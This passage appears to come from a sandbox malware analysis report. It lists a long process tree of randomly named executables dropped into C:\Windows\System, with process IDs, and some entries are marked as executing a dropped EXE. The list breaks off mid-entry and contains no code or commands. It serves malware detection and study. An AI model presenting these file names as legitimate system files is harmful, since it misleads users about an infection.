- C:\Windows\System\KaQVnEy.exe
  C:\Windows\System\KaQVnEy.exe
  2⤵
  - Executes dropped EXE
  PID:1504
- C:\Windows\System\GFERCYb.exe
  C:\Windows\System\GFERCYb.exe
  2⤵
  - Executes dropped EXE
  PID:920
- C:\Windows\System\yeQRqlA.exe
  C:\Windows\System\yeQRqlA.exe
  2⤵
  PID:2320
- C:\Windows\System\hzbpSTo.exe
  C:\Windows\System\hzbpSTo.exe
  2⤵
  PID:4864
- C:\Windows\System\gtqgmgM.exe
  C:\Windows\System\gtqgmgM.exe
  2⤵
  PID:4860
- C:\Windows\System\Fsqgagz.exe
  C:\Windows\System\Fsqgagz.exe
  2⤵
  PID:560
- C:\Windows\System\RrvDKWf.exe
  C:\Windows\System\RrvDKWf.exe
  2⤵
  PID:764
- C:\Windows\System\wTmhSTF.exe
  C:\Windows\System\wTmhSTF.exe
  2⤵
  PID:3340
- C:\Windows\System\VaUazbR.exe
  C:\Windows\System\VaUazbR.exe
  2⤵
  PID:3884
- C:\Windows\System\XFgapre.exe
  C:\Windows\System\XFgapre.exe
  2⤵
  PID:1628
- C:\Windows\System\KkTClsh.exe
  C:\Windows\System\KkTClsh.exe
  2⤵
  PID:2348
- C:\Windows\System\jwuhxiZ.exe
  C:\Windows\System\jwuhxiZ.exe
  2⤵
  PID:3924
- C:\Windows\System\HwuPfdw.exe
  C:\Windows\System\HwuPfdw.exe
  2⤵
  PID:2452
- C:\Windows\System\fAPitUV.exe
  C:\Windows\System\fAPitUV.exe
  2⤵
  PID:3116
- C:\Windows\System\KiNtwNW.exe
  C:\Windows\System\KiNtwNW.exe
  2⤵
  PID:5140
- C:\Windows\System\voXGAVd.exe
  C:\Windows\System\voXGAVd.exe
  2⤵
  PID:5180
- C:\Windows\System\mXzLRKQ.exe
  C:\Windows\System\mXzLRKQ.exe
  2⤵
  PID:5200
- C:\Windows\System\ncLAjvr.exe
  C:\Windows\System\ncLAjvr.exe
  2⤵
  PID:5224
- C:\Windows\System\abkTikY.exe
  C:\Windows\System\abkTikY.exe
  2⤵
  PID:5264
- C:\Windows\System\SwwDLxQ.exe
  C:\Windows\System\SwwDLxQ.exe
  2⤵
  PID:5280
- C:\Windows\System\mwCfMcH.exe
  C:\Windows\System\mwCfMcH.exe
  2⤵
  PID:5316
- C:\Windows\System\BhgsIab.exe
  C:\Windows\System\BhgsIab.exe
  2⤵
  PID:5352
- C:\Windows\System\ATkbSfE.exe
  C:\Windows\System\ATkbSfE.exe
  2⤵
  PID:5392
- C:\Windows\System\CbcsCjH.exe
  C:\Windows\System\CbcsCjH.exe
  2⤵
  PID:5416
- C:\Windows\System\ziQdDpi.exe
  C:\Windows\System\ziQdDpi.exe
  2⤵
  PID:5372
- C:\Windows\System\FRmsnYz.exe
  C:\Windows\System\FRmsnYz.exe
  2⤵
  PID:5336
- C:\Windows\System\WdPDFFd.exe
  C:\Windows\System\WdPDFFd.exe
  2⤵
  PID:5488
- C:\Windows\System\jewmGCz.exe
  C:\Windows\System\jewmGCz.exe
  2⤵
  PID:5508
- C:\Windows\System\CuPlAta.exe
  C:\Windows\System\CuPlAta.exe
  2⤵
  PID:5548
- C:\Windows\System\xQuMNYL.exe
  C:\Windows\System\xQuMNYL.exe
  2⤵
  PID:5588
- C:\Windows\System\zwKrhcb.exe
  C:\Windows\System\zwKrhcb.exe
  2⤵
  PID:5608
- C:\Windows\System\XElFJdS.exe
  C:\Windows\System\XElFJdS.exe
  2⤵
  PID:5568
- C:\Windows\System\OOrpKor.exe
  C:\Windows\System\OOrpKor.exe
  2⤵
  PID:5648
- C:\Windows\System\uAGmlBD.exe
  C:\Windows\System\uAGmlBD.exe
  2⤵
  PID:5684
- C:\Windows\System\FrzyHHA.exe
  C:\Windows\System\FrzyHHA.exe
  2⤵
  PID:5720
- C:\Windows\System\wVGLtKI.exe
  C:\Windows\System\wVGLtKI.exe
  2⤵
  PID:5768
- C:\Windows\System\ojJWZaF.exe
  C:\Windows\System\ojJWZaF.exe
  2⤵
  PID:5820
- C:\Windows\System\CLyZcol.exe
  C:\Windows\System\CLyZcol.exe
  2⤵
  PID:5864
- C:\Windows\System\wFwJZQl.exe
  C:\Windows\System\wFwJZQl.exe
  2⤵
  PID:5904
- C:\Windows\System\WoXfsHP.exe
  C:\Windows\System\WoXfsHP.exe
  2⤵
  PID:5944
- C:\Windows\System\QlOqYqy.exe
  C:\Windows\System\QlOqYqy.exe
  2⤵
  PID:5980
- C:\Windows\System\ndMNdQR.exe
  C:\Windows\System\ndMNdQR.exe
  2⤵
  PID:5964
- C:\Windows\System\qhLmmLG.exe
  C:\Windows\System\qhLmmLG.exe
  2⤵
  PID:6024
- C:\Windows\System\gHUmFZP.exe
  C:\Windows\System\gHUmFZP.exe
  2⤵
  PID:6060
- C:\Windows\System\wFghTTx.exe
  C:\Windows\System\wFghTTx.exe
  2⤵
  PID:6080
- C:\Windows\System\peKKPfw.exe
  C:\Windows\System\peKKPfw.exe
  2⤵
  PID:6100
- C:\Windows\System\REoEOFD.exe
  C:\Windows\System\REoEOFD.exe
  2⤵
  PID:6040
- C:\Windows\System\llpwjRR.exe
  C:\Windows\System\llpwjRR.exe
  2⤵
  PID:6128
- C:\Windows\System\FcNmAcs.exe
  C:\Windows\System\FcNmAcs.exe
  2⤵
  PID:3232
- C:\Windows\System\xByKsyy.exe
  C:\Windows\System\xByKsyy.exe
  2⤵
  PID:5168
- C:\Windows\System\iaNoVts.exe
  C:\Windows\System\iaNoVts.exe
  2⤵
  PID:5932
- C:\Windows\System\KoWmnUi.exe
  C:\Windows\System\KoWmnUi.exe
  2⤵
  PID:6156
- C:\Windows\System\GwcDZSk.exe
  C:\Windows\System\GwcDZSk.exe
  2⤵
  PID:6224
- C:\Windows\System\rAYdnuD.exe
  C:\Windows\System\rAYdnuD.exe
  2⤵
  PID:6616
- C:\Windows\System\XTEgvIT.exe
  C:\Windows\System\XTEgvIT.exe
  2⤵
  PID:7004
- C:\Windows\System\uJcVvlB.exe
  C:\Windows\System\uJcVvlB.exe
  2⤵
  PID:5096
- C:\Windows\System\GYFiIoN.exe
  C:\Windows\System\GYFiIoN.exe
  2⤵
  PID:692
- C:\Windows\System\WiEXWmG.exe
  C:\Windows\System\WiEXWmG.exe
  2⤵
  PID:4620
- C:\Windows\System\sWymjVR.exe
  C:\Windows\System\sWymjVR.exe
  2⤵
  PID:3188
- C:\Windows\System\WwgGFkg.exe
  C:\Windows\System\WwgGFkg.exe
  2⤵
  PID:5788
- C:\Windows\System\kLarKrT.exe
  C:\Windows\System\kLarKrT.exe
  2⤵
  PID:3320
- C:\Windows\System\QJWefGX.exe
  C:\Windows\System\QJWefGX.exe
  2⤵
  PID:6524
- C:\Windows\System\ucFmWby.exe
  C:\Windows\System\ucFmWby.exe
  2⤵
  PID:5460
- C:\Windows\System\ITAaeyy.exe
  C:\Windows\System\ITAaeyy.exe
  2⤵
  PID:6988
- C:\Windows\System\VVMHEWi.exe
  C:\Windows\System\VVMHEWi.exe
  2⤵
  PID:6968
- C:\Windows\System\IcndsCL.exe
  C:\Windows\System\IcndsCL.exe
  2⤵
  PID:6948
- C:\Windows\System\kCLQUrN.exe
  C:\Windows\System\kCLQUrN.exe
  2⤵
  PID:6924
- C:\Windows\System\wsCiwPL.exe
  C:\Windows\System\wsCiwPL.exe
  2⤵
  PID:6908
- C:\Windows\System\tfXcuNn.exe
  C:\Windows\System\tfXcuNn.exe
  2⤵
  PID:6556
- C:\Windows\System\OiqpzDR.exe
  C:\Windows\System\OiqpzDR.exe
  2⤵
  PID:6592
- C:\Windows\System\rItHTyq.exe
  C:\Windows\System\rItHTyq.exe
  2⤵
  PID:6492
- C:\Windows\System\ruCErRL.exe
  C:\Windows\System\ruCErRL.exe
  2⤵
  PID:6460
- C:\Windows\System\dYkRsYu.exe
  C:\Windows\System\dYkRsYu.exe
  2⤵
  PID:6412
- C:\Windows\System\obUXDgF.exe
  C:\Windows\System\obUXDgF.exe
  2⤵
  PID:6956
- C:\Windows\System\whBdMwt.exe
  C:\Windows\System\whBdMwt.exe
  2⤵
  PID:7148
- C:\Windows\System\xxWAAqd.exe
  C:\Windows\System\xxWAAqd.exe
  2⤵
  PID:5956
- C:\Windows\System\hhubHDH.exe
  C:\Windows\System\hhubHDH.exe
  2⤵
  PID:5780
- C:\Windows\System\CorfbZu.exe
  C:\Windows\System\CorfbZu.exe
  2⤵
  PID:2260
- C:\Windows\System\WWXxyFs.exe
  C:\Windows\System\WWXxyFs.exe
  2⤵
  PID:5500
- C:\Windows\System\tcJeLii.exe
  C:\Windows\System\tcJeLii.exe
  2⤵
  PID:5364
- C:\Windows\System\LwZmFUV.exe
  C:\Windows\System\LwZmFUV.exe
  2⤵
  PID:4180
- C:\Windows\System\MiyoiHQ.exe
  C:\Windows\System\MiyoiHQ.exe
  2⤵
  PID:4688
- C:\Windows\System\JSsWNkM.exe
  C:\Windows\System\JSsWNkM.exe
  2⤵
  PID:6780
- C:\Windows\System\gjWAiSp.exe
  C:\Windows\System\gjWAiSp.exe
  2⤵
  PID:7024
- C:\Windows\System\OMKCBkc.exe
  C:\Windows\System\OMKCBkc.exe
  2⤵
  PID:6264
- C:\Windows\System\psrYDXQ.exe
  C:\Windows\System\psrYDXQ.exe
  2⤵
  PID:6300
- C:\Windows\System\YHTkuKj.exe
  C:\Windows\System\YHTkuKj.exe
  2⤵
  PID:6632
- C:\Windows\System\xugiHOP.exe
  C:\Windows\System\xugiHOP.exe
  2⤵
  PID:6596
- C:\Windows\System\rxAUkib.exe
  C:\Windows\System\rxAUkib.exe
  2⤵
  PID:6208
- C:\Windows\System\jOqoRkc.exe
  C:\Windows\System\jOqoRkc.exe
  2⤵
  PID:1664
- C:\Windows\System\qyIxmCG.exe
  C:\Windows\System\qyIxmCG.exe
  2⤵
  PID:2088
- C:\Windows\System\vMwvmAb.exe
  C:\Windows\System\vMwvmAb.exe
  2⤵
  PID:6116
- C:\Windows\System\ATkdIJI.exe
  C:\Windows\System\ATkdIJI.exe
  2⤵
  PID:5752
- C:\Windows\System\tvFoKBn.exe
  C:\Windows\System\tvFoKBn.exe
  2⤵
  PID:3864
- C:\Windows\System\GJihKbv.exe
  C:\Windows\System\GJihKbv.exe
  2⤵
  PID:1232
- C:\Windows\System\kQMuRLJ.exe
  C:\Windows\System\kQMuRLJ.exe
  2⤵
  PID:4328
- C:\Windows\System\cVXjQEb.exe
  C:\Windows\System\cVXjQEb.exe
  2⤵
  PID:7152
- C:\Windows\System\PhmIKCl.exe
  C:\Windows\System\PhmIKCl.exe
  2⤵
  PID:1900
- C:\Windows\System\vHZqjNC.exe
  C:\Windows\System\vHZqjNC.exe
  2⤵
  PID:4812
- C:\Windows\System\NWjjrtZ.exe
  C:\Windows\System\NWjjrtZ.exe
  2⤵
  PID:2008
- C:\Windows\System\eUcsIie.exe
  C:\Windows\System\eUcsIie.exe
  2⤵
  PID:2924
- C:\Windows\System\aFSOfnn.exe
  C:\Windows\System\aFSOfnn.exe
  2⤵
  PID:2928
- C:\Windows\System\bHoxcZH.exe
  C:\Windows\System\bHoxcZH.exe
  2⤵
  PID:6660
- C:\Windows\System\eqaheci.exe
  C:\Windows\System\eqaheci.exe
  2⤵
  PID:6340
- C:\Windows\System\tiINFRY.exe
  C:\Windows\System\tiINFRY.exe
  2⤵
  PID:6432
- C:\Windows\System\yRMbLoK.exe
  C:\Windows\System\yRMbLoK.exe
  2⤵
  PID:6576
- C:\Windows\System\tLMhJNS.exe
  C:\Windows\System\tLMhJNS.exe
  2⤵
  PID:6900
- C:\Windows\System\hCMMdpp.exe
  C:\Windows\System\hCMMdpp.exe
  2⤵
  PID:6360
- C:\Windows\System\JjGmeBz.exe
  C:\Windows\System\JjGmeBz.exe
  2⤵
  PID:5972
- C:\Windows\System\XhlSNFA.exe
  C:\Windows\System\XhlSNFA.exe
  2⤵
  PID:5840
- C:\Windows\System\pqvRLft.exe
  C:\Windows\System\pqvRLft.exe
  2⤵
  PID:5804
- C:\Windows\System\ulZjXhC.exe
  C:\Windows\System\ulZjXhC.exe
  2⤵
  PID:3084
- C:\Windows\System\PYImTZX.exe
  C:\Windows\System\PYImTZX.exe
  2⤵
  PID:5664
- C:\Windows\System\tcNUSuI.exe
  C:\Windows\System\tcNUSuI.exe
  2⤵
  PID:5124
- C:\Windows\System\rLIcPnH.exe
  C:\Windows\System\rLIcPnH.exe
  2⤵
  PID:6004
- C:\Windows\System\dEsoOIH.exe
  C:\Windows\System\dEsoOIH.exe
  2⤵
  PID:5924
- C:\Windows\System\FUpDQKs.exe
  C:\Windows\System\FUpDQKs.exe
  2⤵
  PID:5884
- C:\Windows\System\fPhrbkd.exe
  C:\Windows\System\fPhrbkd.exe
  2⤵
  PID:5844
- C:\Windows\System\iBncnRH.exe
  C:\Windows\System\iBncnRH.exe
  2⤵
  PID:5796
- C:\Windows\System\bweJlJB.exe
  C:\Windows\System\bweJlJB.exe
  2⤵
  PID:5740
- C:\Windows\System\YiibKTm.exe
  C:\Windows\System\YiibKTm.exe
  2⤵
  PID:5704
- C:\Windows\System\lLlTXro.exe
  C:\Windows\System\lLlTXro.exe
  2⤵
  PID:5668
- C:\Windows\System\sHaXZHH.exe
  C:\Windows\System\sHaXZHH.exe
  2⤵
  PID:5632
- C:\Windows\System\dwnnBMc.exe
  C:\Windows\System\dwnnBMc.exe
  2⤵
  PID:5528
- C:\Windows\System\TrJozMA.exe
  C:\Windows\System\TrJozMA.exe
  2⤵
  PID:5472
- C:\Windows\System\YutbSNG.exe
  C:\Windows\System\YutbSNG.exe
  2⤵
  PID:5452
- C:\Windows\System\GzXxtAX.exe
  C:\Windows\System\GzXxtAX.exe
  2⤵
  PID:5300
- C:\Windows\System\RFcsaYE.exe
  C:\Windows\System\RFcsaYE.exe
  2⤵
  PID:5240
- C:\Windows\System\tbTpCUe.exe
  C:\Windows\System\tbTpCUe.exe
  2⤵
  PID:5160
- C:\Windows\System\nQnJEVz.exe
  C:\Windows\System\nQnJEVz.exe
  2⤵
  PID:2220
- C:\Windows\System\tfHaZSt.exe
  C:\Windows\System\tfHaZSt.exe
  2⤵
  PID:3564
- C:\Windows\System\oTTsTld.exe
  C:\Windows\System\oTTsTld.exe
  2⤵
  PID:4796
- C:\Windows\System\sDgxuGZ.exe
  C:\Windows\System\sDgxuGZ.exe
  2⤵
  PID:2540
- C:\Windows\System\jWrTIPm.exe
  C:\Windows\System\jWrTIPm.exe
  2⤵
  PID:4612
- C:\Windows\System\JSQJmYP.exe
  C:\Windows\System\JSQJmYP.exe
  2⤵
  PID:3868
- C:\Windows\System\PgNoCXM.exe
  C:\Windows\System\PgNoCXM.exe
  2⤵
  PID:2256
- C:\Windows\System\ANTDeKt.exe
  C:\Windows\System\ANTDeKt.exe
  2⤵
  PID:4112
- C:\Windows\System\VFOTswM.exe
  C:\Windows\System\VFOTswM.exe
  2⤵
  PID:5428
- C:\Windows\System\wvdwHaE.exe
  C:\Windows\System\wvdwHaE.exe
  2⤵
  PID:7204
- C:\Windows\System\aAhbpFz.exe
  C:\Windows\System\aAhbpFz.exe
  2⤵
  PID:7180
- C:\Windows\System\kKBYduj.exe
  C:\Windows\System\kKBYduj.exe
  2⤵
  PID:7320
- C:\Windows\System\CuVOYjA.exe
  C:\Windows\System\CuVOYjA.exe
  2⤵
  PID:7392
- C:\Windows\System\WhDYIGn.exe
  C:\Windows\System\WhDYIGn.exe
  2⤵
  PID:7412
- C:\Windows\System\IyEbXHk.exe
  C:\Windows\System\IyEbXHk.exe
  2⤵
  PID:7376
- C:\Windows\System\FcWyCCA.exe
  C:\Windows\System\FcWyCCA.exe
  2⤵
  PID:7356
- C:\Windows\System\NiJdvlq.exe
  C:\Windows\System\NiJdvlq.exe
  2⤵
  PID:7340
- C:\Windows\System\fjGFWUH.exe
  C:\Windows\System\fjGFWUH.exe
  2⤵
  PID:7288
- C:\Windows\System\tfUgNnQ.exe
  C:\Windows\System\tfUgNnQ.exe
  2⤵
  PID:7272
- C:\Windows\System\kBiPkpg.exe
  C:\Windows\System\kBiPkpg.exe
  2⤵
  PID:1804
- C:\Windows\System\kwYyyVd.exe
  C:\Windows\System\kwYyyVd.exe
  2⤵
  PID:1732
- C:\Windows\System\enTKMeL.exe
  C:\Windows\System\enTKMeL.exe
  2⤵
  - Executes dropped EXE
  PID:1676
- C:\Windows\System\jRirilA.exe
  C:\Windows\System\jRirilA.exe
  2⤵
  - Executes dropped EXE
  PID:1104
- C:\Windows\System\FukaerC.exe
  C:\Windows\System\FukaerC.exe
  2⤵
  - Executes dropped EXE
  PID:648
- C:\Windows\System\IXtzYCx.exe
  C:\Windows\System\IXtzYCx.exe
  2⤵
  - Executes dropped EXE
  PID:3616
- C:\Windows\System\XJhvxkT.exe
  C:\Windows\System\XJhvxkT.exe
  2⤵
  PID:7448
- C:\Windows\System\SXpOFqV.exe
  C:\Windows\System\SXpOFqV.exe
  2⤵
  PID:7532
- C:\Windows\System\KhAMFSU.exe
  C:\Windows\System\KhAMFSU.exe
  2⤵
  PID:7516
- C:\Windows\System\unrztTL.exe
  C:\Windows\System\unrztTL.exe
  2⤵
  - Executes dropped EXE
  PID:1724
- C:\Windows\System\vFXUURa.exe
  C:\Windows\System\vFXUURa.exe
  2⤵
  - Executes dropped EXE
  PID:4684
- C:\Windows\System\aMvhkWx.exe
  C:\Windows\System\aMvhkWx.exe
  2⤵
  - Executes dropped EXE
  PID:2920
- C:\Windows\System\MdPDXyM.exe
  C:\Windows\System\MdPDXyM.exe
  2⤵
  - Executes dropped EXE
  PID:636
- C:\Windows\System\kaOksUK.exe
  C:\Windows\System\kaOksUK.exe
  2⤵
  - Executes dropped EXE
  PID:2788
- C:\Windows\System\cnXltRX.exe
  C:\Windows\System\cnXltRX.exe
  2⤵
  - Executes dropped EXE
  PID:4016
- C:\Windows\System\HtsklDa.exe
  C:\Windows\System\HtsklDa.exe
  2⤵
  - Executes dropped EXE
  PID:4656
- C:\Windows\System\yAqfBXA.exe
  C:\Windows\System\yAqfBXA.exe
  2⤵
  - Executes dropped EXE
  PID:412
- C:\Windows\System\eDnFulG.exe
  C:\Windows\System\eDnFulG.exe
  2⤵
  - Executes dropped EXE
  PID:4176
- C:\Windows\System\YOKnfhF.exe
  C:\Windows\System\YOKnfhF.exe
  2⤵
  - Executes dropped EXE
  PID:2056
- C:\Windows\System\hkUitHC.exe
  C:\Windows\System\hkUitHC.exe
  2⤵
  - Executes dropped EXE
  PID:3592
- C:\Windows\System\vzdwVbD.exe
  C:\Windows\System\vzdwVbD.exe
  2⤵
  - Executes dropped EXE
  PID:4976
- C:\Windows\System\bFYCGGl.exe
  C:\Windows\System\bFYCGGl.exe
  2⤵
  - Executes dropped EXE
  PID:3648
- C:\Windows\System\dEhWRSI.exe
  C:\Windows\System\dEhWRSI.exe
  2⤵
  - Executes dropped EXE
  PID:3960
- C:\Windows\System\jqFoGqd.exe
  C:\Windows\System\jqFoGqd.exe
  2⤵
  PID:7632
- C:\Windows\System\YfEhSZK.exe
  C:\Windows\System\YfEhSZK.exe
  2⤵
  PID:7616
- C:\Windows\System\ZhfNoMB.exe
  C:\Windows\System\ZhfNoMB.exe
  2⤵
  PID:7596
- C:\Windows\System\OpZkFKP.exe
  C:\Windows\System\OpZkFKP.exe
  2⤵
  PID:7736
- C:\Windows\System\acafyJj.exe
  C:\Windows\System\acafyJj.exe
  2⤵
  PID:7708
- C:\Windows\System\mywIfpi.exe
  C:\Windows\System\mywIfpi.exe
  2⤵
  PID:7692
- C:\Windows\System\aZMHHkl.exe
  C:\Windows\System\aZMHHkl.exe
  2⤵
  PID:7572
- C:\Windows\System\fLGalpb.exe
  C:\Windows\System\fLGalpb.exe
  2⤵
  PID:7552
- C:\Windows\System\GapYdao.exe
  C:\Windows\System\GapYdao.exe
  2⤵
  - Executes dropped EXE
  PID:4420
- C:\Windows\System\uGLGKir.exe
  C:\Windows\System\uGLGKir.exe
  2⤵
  - Executes dropped EXE
  PID:868
- C:\Windows\System\cQJdLPy.exe
  C:\Windows\System\cQJdLPy.exe
  2⤵
  - Executes dropped EXE
  PID:4896
- C:\Windows\System\wCwfYhR.exe
  C:\Windows\System\wCwfYhR.exe
  2⤵
  - Executes dropped EXE
  PID:2416
- C:\Windows\System\ynDBdPV.exe
  C:\Windows\System\ynDBdPV.exe
  2⤵
  - Executes dropped EXE
  PID:3556
- C:\Windows\System\MqjCaMl.exe
  C:\Windows\System\MqjCaMl.exe
  2⤵
  - Executes dropped EXE
  PID:2940
- C:\Windows\System\ZtDDHJV.exe
  C:\Windows\System\ZtDDHJV.exe
  2⤵
  - Executes dropped EXE
  PID:4704
- C:\Windows\System\uSnMDuB.exe
  C:\Windows\System\uSnMDuB.exe
  2⤵
  - Executes dropped EXE
  PID:1472
- C:\Windows\System\FCVxiAD.exe
  C:\Windows\System\FCVxiAD.exe
  2⤵
  - Executes dropped EXE
  PID:3032
- C:\Windows\System\tAmrTJl.exe
  C:\Windows\System\tAmrTJl.exe
  2⤵
  - Executes dropped EXE
  PID:380
- C:\Windows\System\punjeZh.exe
  C:\Windows\System\punjeZh.exe
  2⤵
  - Executes dropped EXE
  PID:4832
- C:\Windows\System\wRfdnKt.exe
  C:\Windows\System\wRfdnKt.exe
  2⤵
  - Executes dropped EXE
  PID:3840
- C:\Windows\System\ckeHbhv.exe
  C:\Windows\System\ckeHbhv.exe
  2⤵
  - Executes dropped EXE
  PID:2480
- C:\Windows\System\UuFgAaJ.exe
  C:\Windows\System\UuFgAaJ.exe
  2⤵
  - Executes dropped EXE
  PID:4404
- C:\Windows\System\aCNivRp.exe
  C:\Windows\System\aCNivRp.exe
  2⤵
  - Executes dropped EXE
  PID:3772
- C:\Windows\System\FFaPmPh.exe
  C:\Windows\System\FFaPmPh.exe
  2⤵
  - Executes dropped EXE
  PID:4644
- C:\Windows\System\ilIPXMX.exe
  C:\Windows\System\ilIPXMX.exe
  2⤵
  - Executes dropped EXE
  PID:1720
- C:\Windows\System\dboVlkn.exe
  C:\Windows\System\dboVlkn.exe
  2⤵
  - Executes dropped EXE
  PID:3044
- C:\Windows\System\iLZJury.exe
  C:\Windows\System\iLZJury.exe
  2⤵
  - Executes dropped EXE
  PID:4140
- C:\Windows\System\dElGLeJ.exe
  C:\Windows\System\dElGLeJ.exe
  2⤵
  PID:7928
- C:\Windows\System\gcyRtxJ.exe
  C:\Windows\System\gcyRtxJ.exe
  2⤵
  PID:7948
- C:\Windows\System\bhZydGA.exe
  C:\Windows\System\bhZydGA.exe
  2⤵
  PID:7964
- C:\Windows\System\wYMLJTq.exe
  C:\Windows\System\wYMLJTq.exe
  2⤵
  PID:7984
- C:\Windows\System\WJryCwi.exe
  C:\Windows\System\WJryCwi.exe
  2⤵
  PID:8020
- C:\Windows\System\ttwUQGP.exe
  C:\Windows\System\ttwUQGP.exe
  2⤵
  PID:8064
- C:\Windows\System\kKZcKuE.exe
  C:\Windows\System\kKZcKuE.exe
  2⤵
  PID:8048
- C:\Windows\System\MmFKOEo.exe
  C:\Windows\System\MmFKOEo.exe
  2⤵
  PID:8004
- C:\Windows\System\uZJufKY.exe
  C:\Windows\System\uZJufKY.exe
  2⤵
  PID:8104
- C:\Windows\System\EkAzdSv.exe
  C:\Windows\System\EkAzdSv.exe
  2⤵
  PID:8152
- C:\Windows\System\gNNvpFf.exe
  C:\Windows\System\gNNvpFf.exe
  2⤵
  PID:5792
- C:\Windows\System\XuwjcGj.exe
  C:\Windows\System\XuwjcGj.exe
  2⤵
  PID:2372
- C:\Windows\System\bUzKlQy.exe
  C:\Windows\System\bUzKlQy.exe
  2⤵
  PID:8188
- C:\Windows\System\tfwPFKY.exe
  C:\Windows\System\tfwPFKY.exe
  2⤵
  PID:7220
- C:\Windows\System\gwhDyoc.exe
  C:\Windows\System\gwhDyoc.exe
  2⤵
  PID:7312
- C:\Windows\System\SEubFQi.exe
  C:\Windows\System\SEubFQi.exe
  2⤵
  PID:7408
- C:\Windows\System\aInfjCJ.exe
  C:\Windows\System\aInfjCJ.exe
  2⤵
  PID:7172
- C:\Windows\System\pIShrXz.exe
  C:\Windows\System\pIShrXz.exe
  2⤵
  PID:7628
- C:\Windows\System\xMiSBmX.exe
  C:\Windows\System\xMiSBmX.exe
  2⤵
  PID:7624
- C:\Windows\System\OIgjmEt.exe
  C:\Windows\System\OIgjmEt.exe
  2⤵
  PID:7608
- C:\Windows\System\xFLkJsp.exe
  C:\Windows\System\xFLkJsp.exe
  2⤵
  PID:7992
- C:\Windows\System\ooHfsDg.exe
  C:\Windows\System\ooHfsDg.exe
  2⤵
  PID:7936
- C:\Windows\System\DlhDVKB.exe
  C:\Windows\System\DlhDVKB.exe
  2⤵
  PID:7912
- C:\Windows\System\YtvFRtC.exe
  C:\Windows\System\YtvFRtC.exe
  2⤵
  PID:8180
- C:\Windows\System\LUBYYsN.exe
  C:\Windows\System\LUBYYsN.exe
  2⤵
  PID:7384
- C:\Windows\System\fiufoHp.exe
  C:\Windows\System\fiufoHp.exe
  2⤵
  PID:4560
- C:\Windows\System\bINstUT.exe
  C:\Windows\System\bINstUT.exe
  2⤵
  PID:7332
- C:\Windows\System\gsNVHAI.exe
  C:\Windows\System\gsNVHAI.exe
  2⤵
  PID:8148
- C:\Windows\System\CkUyRLh.exe
  C:\Windows\System\CkUyRLh.exe
  2⤵
  PID:7568
- C:\Windows\System\oSlGedn.exe
  C:\Windows\System\oSlGedn.exe
  2⤵
  PID:8328
- C:\Windows\System\ZqfCByL.exe
  C:\Windows\System\ZqfCByL.exe
  2⤵
  PID:8568
- C:\Windows\System\NbAjmPz.exe
  C:\Windows\System\NbAjmPz.exe
  2⤵
  PID:8548
- C:\Windows\System\ClFoOxf.exe
  C:\Windows\System\ClFoOxf.exe
  2⤵
  PID:8980
- C:\Windows\System\QJTYBSD.exe
  C:\Windows\System\QJTYBSD.exe
  2⤵
  PID:8960
- C:\Windows\System\JMNKhtB.exe
  C:\Windows\System\JMNKhtB.exe
  2⤵
  PID:8940
- C:\Windows\System\EvQLuww.exe
  C:\Windows\System\EvQLuww.exe
  2⤵
  PID:8920
- C:\Windows\System\GnrlCnM.exe
  C:\Windows\System\GnrlCnM.exe
  2⤵
  PID:8900
- C:\Windows\System\jVNZELl.exe
  C:\Windows\System\jVNZELl.exe
  2⤵
  PID:8880
- C:\Windows\System\EufwDWn.exe
  C:\Windows\System\EufwDWn.exe
  2⤵
  PID:8860
- C:\Windows\System\EqzHDtx.exe
  C:\Windows\System\EqzHDtx.exe
  2⤵
  PID:8844
- C:\Windows\System\QGyTVxy.exe
  C:\Windows\System\QGyTVxy.exe
  2⤵
  PID:8824
- C:\Windows\System\qLqrUcZ.exe
  C:\Windows\System\qLqrUcZ.exe
  2⤵
  PID:8804
- C:\Windows\System\ySEIMhf.exe
  C:\Windows\System\ySEIMhf.exe
  2⤵
  PID:8788
- C:\Windows\System\clRkXHo.exe
  C:\Windows\System\clRkXHo.exe
  2⤵
  PID:8768
- C:\Windows\System\XhaTgYp.exe
  C:\Windows\System\XhaTgYp.exe
  2⤵
  PID:8748
- C:\Windows\System\yIjUHFD.exe
  C:\Windows\System\yIjUHFD.exe
  2⤵
  PID:9008
- C:\Windows\System\jreEZfo.exe
  C:\Windows\System\jreEZfo.exe
  2⤵
  PID:8728
- C:\Windows\System\fVFKvSf.exe
  C:\Windows\System\fVFKvSf.exe
  2⤵
  PID:8712
- C:\Windows\System\cuPHonU.exe
  C:\Windows\System\cuPHonU.exe
  2⤵
  PID:8692
- C:\Windows\System\LvPQqDM.exe
  C:\Windows\System\LvPQqDM.exe
  2⤵
  PID:8672
- C:\Windows\System\rtvfblK.exe
  C:\Windows\System\rtvfblK.exe
  2⤵
  PID:8652
- C:\Windows\System\erMKqNo.exe
  C:\Windows\System\erMKqNo.exe
  2⤵
  PID:8632
- C:\Windows\System\mfNundI.exe
  C:\Windows\System\mfNundI.exe
  2⤵
  PID:8612
- C:\Windows\System\rEAWiVa.exe
  C:\Windows\System\rEAWiVa.exe
  2⤵
  PID:8592
- C:\Windows\System\fxQeggE.exe
  C:\Windows\System\fxQeggE.exe
  2⤵
  PID:8532
- C:\Windows\System\nxQfGAO.exe
  C:\Windows\System\nxQfGAO.exe
  2⤵
  PID:8512
- C:\Windows\System\rXmaZME.exe
  C:\Windows\System\rXmaZME.exe
  2⤵
  PID:8492
- C:\Windows\System\mwGlGuB.exe
  C:\Windows\System\mwGlGuB.exe
  2⤵
  PID:8476
- C:\Windows\System\kXWYVLQ.exe
  C:\Windows\System\kXWYVLQ.exe
  2⤵
  PID:8460
- C:\Windows\System\BSwLnqa.exe
  C:\Windows\System\BSwLnqa.exe
  2⤵
  PID:8444
- C:\Windows\System\NEEIuAI.exe
  C:\Windows\System\NEEIuAI.exe
  2⤵
  PID:8424
- C:\Windows\System\oGzLanG.exe
  C:\Windows\System\oGzLanG.exe
  2⤵
  PID:8400
- C:\Windows\System\rjlMyGo.exe
  C:\Windows\System\rjlMyGo.exe
  2⤵
  PID:8364
- C:\Windows\System\TDOSdxV.exe
  C:\Windows\System\TDOSdxV.exe
  2⤵
  PID:8348
- C:\Windows\System\BzVsQRs.exe
  C:\Windows\System\BzVsQRs.exe
  2⤵
  PID:8304
- C:\Windows\System\sKfXGLr.exe
  C:\Windows\System\sKfXGLr.exe
  2⤵
  PID:8280
- C:\Windows\System\DXdjket.exe
  C:\Windows\System\DXdjket.exe
  2⤵
  PID:8260
- C:\Windows\System\jEXIRKT.exe
  C:\Windows\System\jEXIRKT.exe
  2⤵
  PID:8236
- C:\Windows\System\ryDegdQ.exe
  C:\Windows\System\ryDegdQ.exe
  2⤵
  PID:8216
- C:\Windows\System\YSuwzyV.exe
